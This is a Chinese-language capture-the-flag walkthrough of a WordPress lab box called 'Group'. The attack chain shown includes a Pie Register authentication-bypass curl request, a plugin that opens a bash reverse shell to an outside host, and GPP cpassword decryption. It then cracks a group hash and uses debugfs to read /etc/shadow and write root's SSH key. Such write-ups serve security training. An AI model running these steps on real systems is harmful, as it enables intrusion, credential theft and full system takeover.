Group 信息搜集 192.168.43.56
端口扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ┌──(root㉿kali)-[~] └─# rustscan -a 192.168.43.56 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I scanned ports so fast, even my computer was surprised. [~] The config file is expected to be at "/root/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.43.56:22 Open 192.168.43.56:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 00:08 EDT Initiating ARP Ping Scan at 00:08 Scanning 192.168.43.56 [1 port] Completed ARP Ping Scan at 00:08, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 00:08 Completed Parallel DNS resolution of 1 host. at 00:08, 0.27s elapsed DNS resolution of 1 IPs took 0.28s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 00:08 Scanning 192.168.43.56 [2 ports] Discovered open port 22/tcp on 192.168.43.56 Discovered open port 80/tcp on 192.168.43.56 Completed SYN Stealth Scan at 00:08, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.43.56 Host is up, received arp-response (0.00077s latency). Scanned at 2026-04-18 00:08:28 EDT for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:33:85:2E (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
添加hosts
是一个wp搭建的网站
枚举 使用wpscan来枚举存在的漏洞和用户名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 ┌──(root㉿kali)-[~] └─# wpscan --url http://group.dsz --api-token you_api_token --enumerate u,vp --plugins-detection aggressive _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [i] It seems like you have not updated the database for some time. [+] URL: http://group.dsz/ [192.168.43.56] [+] Started: Sun Apr 19 09:06:59 2026 Interesting Finding(s): [+] Headers | Interesting Entries: | - Server: Apache/2.4.66 (Unix) | - X-Powered-By: PHP/8.2.30 | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://group.dsz/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://group.dsz/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://group.dsz/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 6.9.1 identified (Insecure, released on 2026-02-03). | Found By: Rss Generator (Passive Detection) | - http://group.dsz/?feed=rss2, <generator>https://wordpress.org/?v=6.9.1</generator> | - http://group.dsz/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.9.1</generator> [+] WordPress theme in use: twentytwentyfive | Location: http://group.dsz/wp-content/themes/twentytwentyfive/ | Latest Version: 1.4 (up to date) | Last Updated: 2025-12-03T00:00:00.000Z | Readme: http://group.dsz/wp-content/themes/twentytwentyfive/readme.txt | Style URL: http://group.dsz/wp-content/themes/twentytwentyfive/style.css | Style Name: Twenty Twenty-Five | Style URI: https://wordpress.org/themes/twentytwentyfive/ | Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor... | Author: the WordPress team | Author URI: https://wordpress.org | | Found By: Urls In Homepage (Passive Detection) | | Version: 1.4 (80% confidence) | Found By: Style (Passive Detection) | - http://group.dsz/wp-content/themes/twentytwentyfive/style.css, Match: 'Version: 1.4' [+] Enumerating Vulnerable Plugins (via Aggressive Methods) Checking Known Locations - Time: 00:00:03 <================> (7343 / 7343) 100.00% Time: 00:00:03 [+] Checking Plugin Versions (via Passive and Aggressive Methods) [i] Plugin(s) Identified: [+] akismet | Location: http://group.dsz/wp-content/plugins/akismet/ | Latest Version: 5.6 | Last Updated: 2025-11-12T16:31:00.000Z | | Found By: Known Locations (Aggressive Detection) | - http://group.dsz/wp-content/plugins/akismet/, status: 403 | | [!] 1 vulnerability identified: | | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS) | Fixed in: 3.1.5 | References: | - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357 | - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/ | - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html | | The version could not be determined. [+] backup-backup | Location: http://group.dsz/wp-content/plugins/backup-backup/ | Last Updated: 2026-04-01T18:24:00.000Z | Readme: http://group.dsz/wp-content/plugins/backup-backup/readme.txt | [!] The version is out of date, the latest version is 2.1.4 | | Found By: Known Locations (Aggressive Detection) | - http://group.dsz/wp-content/plugins/backup-backup/, status: 403 | | [!] 10 vulnerabilities identified: | | [!] Title: Backup Migration < 1.3.7 - Unauthenticated Arbitrary File Download to Sensitive Information Exposure | Fixed in: 1.3.7 | References: | - https://wpscan.com/vulnerability/c987a54e-eb98-4942-ab67-5e0283b0f4de | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6266 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/08801f53-3c57-41a3-a637-4b52637cc612 | | [!] Title: Backup Migration < 1.3.8 - Unauthenticated RCE | Fixed in: 1.3.8 | References: | - https://wpscan.com/vulnerability/6a4d0af9-e1cd-4a69-a56c-3c009e207eca | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6553 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/3511ba64-56a3-43d7-8ab8-c6e40e3b686e | | [!] Title: Backup Migration < 1.4.0 - Unauthenticated Path Traversal to Arbitrary File Deletion | Fixed in: 1.4.0 | References: | - https://wpscan.com/vulnerability/0d34189d-0f9e-4bea-a1dc-0579539bf6af | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6972 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/0a3ae696-f67d-4ed2-b307-d2f36b6f188c | | [!] Title: Backup Migration 1.0.8 - 1.3.9 - Remote File Inclusion via content-dir | Fixed in: 1.4.0 | References: | - https://wpscan.com/vulnerability/9819c6d8-f805-426f-b20b-e6a38715a273 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6971 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/b380283c-0dbb-4d67-9f66-cb7c400c0427 | | [!] Title: Backup Migration < 1.4.0 - Authenticated (Admin+) OS Command Injection via url | Fixed in: 1.4.0 | References: | - https://wpscan.com/vulnerability/3e647712-def6-4e15-ba0b-02c57c44265c | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-7002 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/cc49db10-988d-42bd-a9cf-9a86f4c79568 | | [!] Title: Backup Migration < 1.4.4 - Information Exposure via Log Files | Fixed in: 1.4.4 | References: | - https://wpscan.com/vulnerability/8ccd8ce5-0c98-46f0-81f0-d673d65ec82d | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32686 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/af870e80-ad9e-4f45-952f-9ffb07ceca9c | | [!] Title: Backup Migration < 1.4.6.1 - Unauthenticated PHP Object Injection via 'recursive_unserialize_replace' | Fixed in: 1.4.6.1 | References: | - https://wpscan.com/vulnerability/c319bdd0-dd48-4a4a-8964-7ac420c5bbdd | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10932 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/d5a0c514-5200-47f4-9d2e-684d68946b9a | | [!] Title: Backup Migration < 2.0.0 - Unauthenticated Backup Download | Fixed in: 2.0.0 | References: | - https://wpscan.com/vulnerability/e61293d0-2e1b-4dac-96c5-97fa17e38b16 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-12394 | | [!] Title: Backup Migration < 2.1.0 - Missing Authorization to Unauthenticated Backup Upload to Offline Storage | Fixed in: 2.1.0 | References: | - https://wpscan.com/vulnerability/3be0dc38-e8a0-4578-a1f2-cc8a89d87f78 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-14944 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/a2a41a15-0743-48cc-8c92-7cb839fa5847 | | [!] Title: BackupBliss – Backup & Migration with Free Cloud Storage < 2.1.2 - Unauthenticated Information Exposure | Fixed in: 2.1.2 | References: | - https://wpscan.com/vulnerability/4d88eddd-8c1b-4b59-a577-3990861073f4 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39480 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/0cfd7098-05c9-45c3-95eb-613894867743 | | Version: 1.3.6 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://group.dsz/wp-content/plugins/backup-backup/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://group.dsz/wp-content/plugins/backup-backup/readme.txt [+] elex-woocommerce-google-product-feed-plugin-basic | Location: http://group.dsz/wp-content/plugins/elex-woocommerce-google-product-feed-plugin-basic/ | Last Updated: 2026-02-02T05:30:00.000Z | Readme: http://group.dsz/wp-content/plugins/elex-woocommerce-google-product-feed-plugin-basic/readme.txt | [!] The version is out of date, the latest version is 1.4.5 | | Found By: Known Locations (Aggressive Detection) | - http://group.dsz/wp-content/plugins/elex-woocommerce-google-product-feed-plugin-basic/, status: 403 | | [!] 1 vulnerability identified: | | [!] Title: ELEX WooCommerce Google Shopping (Google Product Feed) < 1.4.4 - Authenticated (Admin+) SQL Inejction | Fixed in: 1.4.4 | References: | - https://wpscan.com/vulnerability/37b139f7-ebd0-4f02-8741-0fce42c69a0b | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10046 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/0afe37bb-fa8a-4e7b-93c6-c44b3fbeb904 | | Version: 1.4.3 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://group.dsz/wp-content/plugins/elex-woocommerce-google-product-feed-plugin-basic/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://group.dsz/wp-content/plugins/elex-woocommerce-google-product-feed-plugin-basic/readme.txt [+] pie-register | Location: http://group.dsz/wp-content/plugins/pie-register/ | Last Updated: 2026-03-30T12:58:00.000Z | Readme: http://group.dsz/wp-content/plugins/pie-register/readme.txt | [!] The version is out of date, the latest version is 3.8.4.9 | | Found By: Known Locations (Aggressive Detection) | - http://group.dsz/wp-content/plugins/pie-register/, status: 403 | | [!] 8 vulnerabilities identified: | | [!] Title: Pie Register < 3.7.1.6 - Unauthenticated SQL Injection | Fixed in: 3.7.1.6 | References: | - https://wpscan.com/vulnerability/6bed00e4-b363-43b8-a392-d068d342151a | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24731 | | [!] Title: Pie Register < 3.7.2.4 - Open Redirect | Fixed in: 3.7.2.4 | Reference: https://wpscan.com/vulnerability/f6efa32f-51df-44b4-bbba-e67ed5785dd4 | | [!] Title: Pie Register < 3.8.1.3 - Unauthenticated Arbitrary User Deletion | Fixed in: 3.8.1.3 | References: | - https://wpscan.com/vulnerability/a087fb45-6f6c-40ac-b48b-2cbceda86cbe | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4024 | | [!] Title: Pie Register < 3.8.3.3 - Unauthenticated Arbitrary File Upload | Fixed in: 3.8.3.3 | References: | - https://wpscan.com/vulnerability/6835b9d3-8d61-485a-aa2b-f88377156ad4 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27957 | - https://patchstack.com/database/wordpress/plugin/pie-register/vulnerability/wordpress-pie-register-plugin-3-8-3-1-unauthenticated-arbitrary-file-upload-vulnerability | | [!] Title: Pie Register - Basic <= 3.8.3.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation and Activation/Deactivation | Fixed in: 3.8.3.5 | References: | - https://wpscan.com/vulnerability/f1b3518a-8118-465e-8baa-4dde3176dd01 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6069 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/b946ee73-4cf9-48c8-b456-285b118c6b05 | | [!] Title: Registration Forms < 3.8.4.1 - Sensitive Information Exposure via Log Files | Fixed in: 3.8.4.1 | References: | - https://wpscan.com/vulnerability/a43acac7-e4cd-421a-ab6f-567e0bd7fbb6 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-13818 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/768730c1-a70e-432d-a234-4ce2b8aec424 | | [!] Title: Pie Register < 3.8.4.9 - Missing Authorization | Fixed in: 3.8.4.9 | References: | - https://wpscan.com/vulnerability/d9b71c95-63a8-4de7-8ae0-5babf2fc05a4 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24577 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/c4a1b869-42d2-4b6d-8e6a-853325e2afde | | [!] Title: Pie Register – User Registration, Profiles & Content Restriction < 3.8.4.9 - Missing Authorization to Unauthenticated Registration Form Status Modification | Fixed in: 3.8.4.9 | References: | - https://wpscan.com/vulnerability/13a1ef1e-6134-4f70-974a-764a94f19b8f | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3571 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/3137a85e-82e3-4111-ae60-1bcf1abd0c0b | | Version: 3.7.1.3 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://group.dsz/wp-content/plugins/pie-register/readme.txt [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <====================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] ll104567 | Found By: Rss Generator (Passive Detection) | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 6 | Requests Remaining: 19 [+] Finished: Sun Apr 19 09:07:16 2026 [+] Requests Done: 7418 [+] Cached Requests: 14 [+] Data Sent: 1.936 MB [+] Data Received: 1.559 MB [+] Memory used: 235.633 MB [+] Elapsed time: 00:00:17
这个插件存在越权漏洞CVE-2026-3571
1 2 3 4 5 6 7 8 9 10 ┌──(root㉿kali)-[/opt/CVE/CVE-2021-24647] └─# curl -i -s -X POST http://group.dsz/ \ -d "user_id_social_site=1&social_site=true&piereg_login_after_registration=true&_wp_http_referer=/login/&log=null&pwd=null" \ | grep "Set-Cookie" Set-Cookie: wordpress_a49f562bd052e03fd64651c58e60bd2e=ll104567%7C1776777250%7CNtsQw5LlFEOTPYduqcNVMcwhdDYpLj41WPGfIaBoiWI%7C9cf5886abbc09f834ecda173a66659ede5237443df0c0b22f04eb5c6bb31983f; path=/wp-content/plugins; HttpOnly Set-Cookie: wordpress_a49f562bd052e03fd64651c58e60bd2e=ll104567%7C1776777250%7CNtsQw5LlFEOTPYduqcNVMcwhdDYpLj41WPGfIaBoiWI%7C9cf5886abbc09f834ecda173a66659ede5237443df0c0b22f04eb5c6bb31983f; path=/wp-admin; HttpOnly Set-Cookie: wordpress_logged_in_a49f562bd052e03fd64651c58e60bd2e=ll104567%7C1776777250%7CNtsQw5LlFEOTPYduqcNVMcwhdDYpLj41WPGfIaBoiWI%7C1b51b13adf4f40d07c2bc12e60aec4b167dba4e77be237046dd33887c3f580e2; path=/; HttpOnly Set-Cookie: wordpress_a49f562bd052e03fd64651c58e60bd2e=ll104567%7C1776777251%7CNwXY1bKxcxDuXPm9XwHGt7IZlTy4fLl4Y5T4MDE078v%7C3e8dd43c6b603117f637e1ebf82f52f4799be932ad8a0071f4328fdcde713d40; path=/wp-content/plugins; HttpOnly Set-Cookie: wordpress_a49f562bd052e03fd64651c58e60bd2e=ll104567%7C1776777251%7CNwXY1bKxcxDuXPm9XwHGt7IZlTy4fLl4Y5T4MDE078v%7C3e8dd43c6b603117f637e1ebf82f52f4799be932ad8a0071f4328fdcde713d40; path=/wp-admin; HttpOnly Set-Cookie: wordpress_logged_in_a49f562bd052e03fd64651c58e60bd2e=ll104567%7C1776777251%7CNwXY1bKxcxDuXPm9XwHGt7IZlTy4fLl4Y5T4MDE078v%7C2a8bb112c2202c034563850ac6839bcd4e101023dccdfe9ba46023ee3bb0a10d; path=/; HttpOnly
添加到cookie后发现登录成功
这里我利用的是插件功能来反弹shell的
1 2 3 4 5 6 7 8 9 10 11 <?php /** * Plugin Name: Reverse Shell Plugin * Plugin URI: * Description: Reverse Shell Plugin for penetration testing. * Version:1.0 * Author: Security Analyst * Author URI: http://www.example.com */ exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.43.50/7777 0>&1'"); ?>
提权 apache -> vick /opt目录下有个Groups.xml文件
1 2 3 4 5 6 7 8 9 10 Group:/var/www/localhost/htdocs/wp-admin$ cd /opt/ Group:/opt$ ls Groups.xml Group:/opt$ cat Groups.xml <Groups xmlns:userid="http://www.microsoft.com/GroupPolicy/Settings/Users"> <User clsid="{15171732-B1F3-4354-8D71-B07E2368305A}" name="LocalAdmin" uid="{F9706C86-6460-4447-9C9D-E0D5B6673891}"> <Properties action="U" userName="admin" cpassword="wh/dhDkLLn3qw0d7wqGNX4EripI2ZeShL3A5V9g9A8A=" /> </User> </Groups> Group:/opt$
这个Groups.xml是window GPP文件，虽然是AES-256加密文件但是微软在 MSDN 上公开了用于加密这个 cpassword 的 对称密钥
公开的 AES 密钥： 4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
这里我使用的是gpp-decrypt进行解密的
vick:1045670921
vick -> root 上传linpeas扫描
发现泄露了disk组的凭证需要爆破一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌──(root㉿kali)-[~] └─# echo 'disk:peDykKCISQ5zM::root' > /tmp/gshadow.hash ┌──(root㉿kali)-[~] └─# john /tmp/gshadow.hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (descrypt, traditional crypt(3) [DES 256/256 AVX2]) No password hashes left to crack (see FAQ) ┌──(root㉿kali)-[~] └─# john /tmp/gshadow.hash --show disk:19882006::root 1 password hash cracked, 0 left
disk:19882006
在 Linux 中，disk 组的用户对系统上的物理磁盘设备 （如 /dev/sda 或 /dev/nvme0n1）具有直接的读写权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 vick@Group:~$ id uid=1000(vick) gid=1000(vick) groups=1000(vick) vick@Group:~$ newgrp disk Password: vick@Group:~$ vick@Group:~$ id uid=1000(vick) gid=6(disk) groups=1000(vick) vick@Group:~$ debugfs -R "cat /etc/shadow" /dev/sda3 debugfs 1.47.2 (1-Jan-2025) root:$6$aCuY8vPFCVTuIIx0$kGLsg2enFUpVJLcpLWzMzyDCi7Ir9S8F17f/RQ/IVrRoWvKhjfdv62G0RjpWlq3FqOf.0Q2qJxTt2LZjdPHNJ0:20517:0::::: bin:!::0::::: daemon:!::0::::: lp:!::0::::: sync:!::0::::: shutdown:!::0::::: halt:!::0::::: mail:!::0::::: news:!::0::::: uucp:!::0::::: cron:!::0::::: ftp:!::0::::: sshd:!::0::::: games:!::0::::: ntp:!::0::::: guest:!::0::::: nobody:!::0::::: klogd:!:20242:0:99999:7::: nginx:!:20242:0:99999:7::: caddy:!:20482:0:99999:7::: lighttpd:!:20482:0:99999:7::: apache:!:20509:0:99999:7::: www-data:!:20509:0:99999:7::: mysql:!:20517:0:99999:7::: vick:$6$4UHGSs3Mjb3IXBWm$6rM1a3thx3.s05M445njRCSmIsy7lGO.ohtDSJMfmDRPDKgBuFuRALaYgU/WU4q1OCfwYhp84z6c/wmeoPwH41:20517:0:99999:7::: vick@Group:~$
获取root shell 这里采用的是写公钥的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 vick@Group:~$ ssh-keygen -t rsa -f /tmp/id_rsa -N "" Generating public/private rsa key pair. Your identification has been saved in /tmp/id_rsa Your public key has been saved in /tmp/id_rsa.pub The key fingerprint is: SHA256:NzglSdRF/rfoT6A01eXWPQpqhEyasMy2fEMxZBw294E vick@Group The key's randomart image is: +---[RSA 3072]----+ | .oO.++o oo .| | o =.XEo.o. ..+| | = + ooo.... o=| | o o .+. o....| | o o Sooo o. .| | . . .o..o o..| | . . o | | . . | | ... | +----[SHA256]-----+ vick@Group:~$ cat /tmp/id_rsa.pub > /tmp/authorized_keys vick@Group:~$ debugfs -w -R "write /tmp/authorized_keys /root/.ssh/authorized_keys" /dev/sda3 debugfs 1.47.2 (1-Jan-2025) Allocated inode: 13259 vick@Group:~$ ssh -i /tmp/id_rsa root@127.0.0.1 The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. ED25519 key fingerprint is SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts. _ __ _____| | ___ ___ _ __ ___ ___ \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ \ V V / __/ | (_| (_) | | | | | | __/ \_/\_/ \___|_|\___\___/|_| |_| |_|\___| root@Group:~# did -bash: did: command not found root@Group:~# id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) root@Group:~#
